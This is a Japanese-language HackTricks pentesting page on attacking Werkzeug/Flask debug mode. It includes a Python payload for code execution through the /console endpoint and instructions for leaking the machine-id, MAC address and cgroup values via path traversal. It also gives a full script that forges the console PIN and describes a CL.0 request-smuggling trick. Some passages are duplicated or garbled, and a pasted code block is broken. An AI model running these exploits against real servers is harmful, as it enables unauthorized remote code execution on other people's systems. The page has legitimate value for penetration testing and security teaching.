Werkzeug / Flask Debug

HackTricksをサポートする

脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。リコンからレポーティングまで対応しています。私たちはペンテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すためにカスタムツール、検出およびエクスプロイトモジュールを開発しています。

コンソール RCE

デバッグがアクティブな場合、/consoleにアクセスしてRCEを取得することを試みることができます。

__import__('os').popen('whoami').read();

インターネット上には、これやmetasploitのものなど、いくつかのエクスプロイトがあります。

ピン保護 - パス・トラバーサル

場合によっては、/console エンドポイントがピンで保護されることがあります。ファイルトラバーサル脆弱性がある場合、そのピンを生成するために必要なすべての情報を漏洩させることができます。

Werkzeug コンソール PIN エクスプロイト

アプリでデバッグエラーページを強制的に表示させて、これを確認します:

The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server

A message regarding the "console locked" scenario is encountered when attempting to access Werkzeug's debug interface, indicating a requirement for a PIN to unlock the console. The suggestion is made to exploit the console PIN by analyzing the PIN generation algorithm in Werkzeug’s debug initialization file (__init__.py). The PIN generation mechanism can be studied from the Werkzeug source code repository, though it is advised to procure the actual server code via a file traversal vulnerability due to potential version discrepancies.

コンソールPINを悪用するには、2つの変数セット、probably_public_bitsprivate_bits が必要です:

probably_public_bits

  • username: Flaskセッションを開始したユーザーを指します。

  • modname: 通常は flask.app と指定されます。

  • getattr(app, '__name__', getattr(app.__class__, '__name__')): 一般的に Flask に解決されます。

  • getattr(mod, '__file__', None): Flaskディレクトリ内の app.py へのフルパスを表します(例: /usr/local/lib/python3.5/dist-packages/flask/app.py)。app.py が適用できない場合は、app.pyc を試してください

private_bits

  • uuid.getnode(): 現在のマシンのMACアドレスを取得し、str(uuid.getnode()) がそれを10進数形式に変換します。

  • サーバーのMACアドレスを特定するには、アプリで使用されているアクティブなネットワークインターフェース(例: ens3)を特定する必要があります。不明な場合は、**/proc/net/arp を漏洩させてデバイスIDを見つけ、次に /sys/class/net/<device id>/address からMACアドレスを抽出します。

  • 16進数のMACアドレスを10進数に変換する方法は以下の通りです:

# 例のMACアドレス: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
  • get_machine_id(): /etc/machine-id または /proc/sys/kernel/random/boot_id からのデータを、最後のスラッシュ(/)の後の /proc/self/cgroup の最初の行と連結します。

Code for `get_machine_id()`

```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_id

if _machine_id is not None: return _machine_id

def _generate() -> t.Optional[t.Union[str, bytes]]: linux = b""

machine-id is stable across boots, boot_id is not.

for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue

if value: linux += value break

Containers share the same machine id, add some cgroup

information. This is used outside containers too but should be

relatively stable across boots.

try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass

if linux: return linux

On OS X, use ioreg to get the computer's serial number.

try:

</details>

必要なデータをすべて収集した後、エクスプロイトスクリプトを実行してWerkzeugコンソールPINを生成できます。

必要なデータをすべて収集した後、エクスプロイトスクリプトを実行してWerkzeugコンソールPINを生成できます。スクリプトは、組み立てられた`probably_public_bits`と`private_bits`を使用してハッシュを作成し、その後、最終的なPINを生成するためにさらに処理されます。以下は、このプロセスを実行するためのPythonコードです:
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',  # username
'flask.app',  # modname
'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
'279275995014060',  # str(uuid.getnode()),  /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'  # get_machine_id(), /etc/machine-id
]

# h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

このスクリプトは、連結されたビットをハッシュ化し、特定のソルト(cookiesaltpinsalt)を追加し、出力をフォーマットすることでPINを生成します。probably_public_bitsprivate_bits の実際の値は、生成されたPINがWerkzeugコンソールで期待されるものと一致するように、ターゲットシステムから正確に取得する必要があることに注意してください。

古いバージョンのWerkzeugを使用している場合は、ハッシュアルゴリズムをsha1の代わりにmd5に変更してみてください。

Werkzeug Unicode文字

この問題で観察されたように、WerkzeugはヘッダーにUnicode文字が含まれるリクエストを閉じません。そして、この解説で説明されているように、これによりCL.0リクエストスムーギングの脆弱性が発生する可能性があります。

これは、WerkzeugではいくつかのUnicode文字を送信することが可能であり、それがサーバーを壊すことになるからです。しかし、HTTP接続が**Connection: keep-aliveヘッダーで作成された場合、リクエストのボディは読み取られず、接続はまだオープンのままとなり、リクエストのボディ次のHTTPリクエスト**として扱われます。

自動化された悪用

参考文献

脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。私たちはペンテスターを置き換えるのではなく、彼らに深く掘り下げ、シェルをポップし、楽しむための時間を戻すためにカスタムツール、検出および悪用モジュールを開発します。

Last updated